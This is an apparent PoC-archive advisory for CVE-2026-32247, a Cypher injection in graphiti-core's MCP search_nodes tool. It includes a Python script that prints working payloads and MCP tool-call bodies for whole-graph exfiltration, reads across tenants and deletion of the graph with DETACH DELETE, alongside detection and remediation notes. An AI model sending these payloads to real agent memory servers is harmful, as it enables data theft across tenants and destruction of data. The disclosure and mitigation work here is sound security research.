PoC Archive PoC Archive
High CVE-2026-32247 (GHSA, getzep/graphiti) patched

graphiti-core Cypher Injection via Unsanitized node_labels — CVE-2026-32247

by romain-deperne (ang3L) · 2026-07-05

CVSS 8.1/10
Severity
High
CVE
CVE-2026-32247 (GHSA, getzep/graphiti)
Category
web
Affected product
graphiti-core (getzep/graphiti) — memory/graph layer used by AI agent frameworks, exposed via an MCP server
Affected versions
graphiti-core <= 0.28.1 (fixed in 0.28.2)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherromain-deperne (ang3L)
CVE / AdvisoryCVE-2026-32247 (GHSA, getzep/graphiti)
Categoryweb
SeverityHigh
CVSS Score8.1
StatusPoC
Tagscypher-injection, neo4j, falkordb, graphiti, mcp, ai-agent, tenant-isolation-bypass, cwe-943
RelatedN/A

Affected Target

FieldValue
Software / Systemgraphiti-core (getzep/graphiti) — memory/graph layer used by AI agent frameworks, exposed via an MCP server
Versions Affectedgraphiti-core <= 0.28.1 (fixed in 0.28.2)
Language / PlatformPython; Neo4j and FalkorDB Cypher backends (Kuzu backend unaffected)
Authentication RequiredNo (any MCP client connected to the server)
Network Access RequiredYes (via the MCP search_nodes tool interface)

Summary

graphiti-core builds Cypher WHERE clauses for its search_nodes functionality by joining caller-supplied node label strings with | and concatenating the result directly into a raw query string, with no parameterization or input validation anywhere in the call chain. Because the label filter is wrapped in parentheses by the caller (n:Label1|Label2), an attacker-controlled label value can close that expression with a backtick and parenthesis, chain a WITH clause to pivot into an entirely new query, and use // to comment out the remainder of the original statement. The included PoC reproduces the exact vulnerable build_filter() logic from search_filters.py and demonstrates payloads for cross-tenant graph exfiltration and full graph deletion via DETACH DELETE.


Vulnerability Details

Root Cause

graphiti_core/search/search_filters.py computes node_label_filter = 'n:' + '|'.join(filters.node_labels) and interpolates it unsanitized into a Cypher WHERE clause (CWE-943); the entity_types parameter flowing in from the MCP search_nodes tool handler is passed straight through with no allowlisting.

Attack Vector

  1. Attacker (any client able to invoke the exposed MCP search_nodes tool) submits a search_nodes call with a crafted entity_types array, e.g. ["Entity) WITH n MATCH (x) RETURN x //"]`.
  2. The string is joined and concatenated into the Cypher query as WHERE (n:Entity) WITH n MATCH (x) RETURN x // AND …`.
  3. The backtick-paren sequence closes the original WHERE expression, WITH n pipelines into a completely new MATCH clause chosen by the attacker, and // comments out the rest of the legitimate query (including the group_id tenant-isolation filter, which is applied after the injectable clause).
  4. The attacker’s injected MATCH/RETURN (or DETACH DELETE) executes with the graph database’s full privileges, returning data across all tenants or destroying the graph.

Impact

Cross-tenant data exfiltration (reading any node/relationship regardless of group_id) and full graph destruction via DETACH DELETE, exploitable by any MCP client connected to a Graphiti-backed agent with no additional authentication.


Environment / Lab Setup

Target:   graphiti-core <= 0.28.1 with Neo4j or FalkorDB backend, MCP server (graphiti_mcp_server.py) exposing search_nodes
Attacker: Python 3.10+ (stdlib json only) to run the standalone reproduction script; an MCP client to trigger it live

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py

The script reproduces build_filter() verbatim from the vulnerable source, prints the benign vs. malicious filter strings and the resulting full Cypher statements for an exfiltration payload, a cross-tenant exfiltration payload, and a DETACH DELETE destructive payload, and prints example MCP search_nodes JSON tool-call bodies that trigger each.


Detection & Indicators of Compromise

WHERE (n:Entity`) WITH n MATCH (x) DETACH DELETE x // AND n.group_id = $group_id

Signs of compromise:

  • MCP search_nodes calls whose entity_types values contain backticks, parentheses, WITH, MATCH, or // sequences.
  • Cypher query logs (Neo4j/FalkorDB) showing statements with an unexpected second MATCH/WITH pipeline or DETACH DELETE following a label filter.
  • Sudden, unexplained drop in node/relationship counts across the graph (indicative of a destructive injection having run).

Remediation

ActionDetail
Primary fixUpgrade to graphiti-core 0.28.2 or later, which allowlists node labels to alphanumeric characters and parameterizes group_id in the fulltext search path
Interim mitigationValidate/allowlist entity_types/node_labels input to alphanumeric characters at the MCP tool boundary before upgrading; monitor Cypher query logs for anomalous WITH/DETACH patterns.

References


Notes

Mirrored from https://github.com/romain-deperne/CVE-2026-32247 on 2026-07-05.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
"""
PoC: Cypher Injection via node_labels in graphiti-core (getzep/graphiti)
CVE-2026-32247 — CVSS 8.1

Vulnerability: search_filters.py joins user-supplied node_labels with '|' and
concatenates them into a raw Cypher WHERE clause without sanitization.

Affected: graphiti-core <= 0.28.1
Fixed in: 0.28.2

File: graphiti_core/search/search_filters.py (lines 91-92, 134-135)
"""

import json


def build_filter(node_labels: list[str]) -> str:
    """Exact reproduction of the vulnerable logic from search_filters.py:91-92."""
    labels = "|".join(node_labels)
    return "n:" + labels


def demo_injection():
    print("=" * 60)
    print("CVE-2026-32247 — Cypher Injection in graphiti-core")
    print("=" * 60)
    print()

    # --- Benign usage ---
    benign = build_filter(["Person", "Organization"])
    print(f"[+] Benign  filter : {benign}")
    print(f"    Cypher context : WHERE ({benign}) AND ...")
    print()

    # --- PoC 1: Full graph exfiltration ---
    exfil_payload = ["Entity`) WITH n MATCH (x) RETURN x //"]
    exfil = build_filter(exfil_payload)
    print(f"[!] Exfil   filter : {exfil}")
    full_cypher_exfil = f"MATCH (n) WHERE ({exfil}) AND n.group_id = $group_id RETURN n"
    print(f"    Full Cypher    :")
    print(f"    {full_cypher_exfil}")
    print(f"    ↑ The ) closes the WHERE, WITH pipelines a new MATCH, // drops the rest")
    print()

    # --- PoC 2: Full graph deletion ---
    delete_payload = ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
    delete_filter = build_filter(delete_payload)
    print(f"[!] Delete  filter : {delete_filter}")
    print()

    # --- PoC 3: Cross-tenant exfiltration (bypass group_id isolation) ---
    cross_tenant = ["Entity`) WITH n MATCH (victim) WHERE victim.group_id = 'target_group' RETURN victim //"]
    ct_filter = build_filter(cross_tenant)
    print(f"[!] XTenant filter : {ct_filter[:80]}...")
    print()

    # --- MCP tool call payloads ---
    print("-" * 60)
    print("MCP tool call to trigger via search_nodes:")
    print()
    tool_call = {
        "tool": "search_nodes",
        "arguments": {
            "query": "anything",
            "entity_types": ["Entity`) WITH n MATCH (x) RETURN x //"],
        },
    }
    print(json.dumps(tool_call, indent=2))
    print()

    tool_call_delete = {
        "tool": "search_nodes",
        "arguments": {
            "query": "anything",
            "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"],
        },
    }
    print("Destructive variant:")
    print(json.dumps(tool_call_delete, indent=2))


if __name__ == "__main__":
    demo_injection()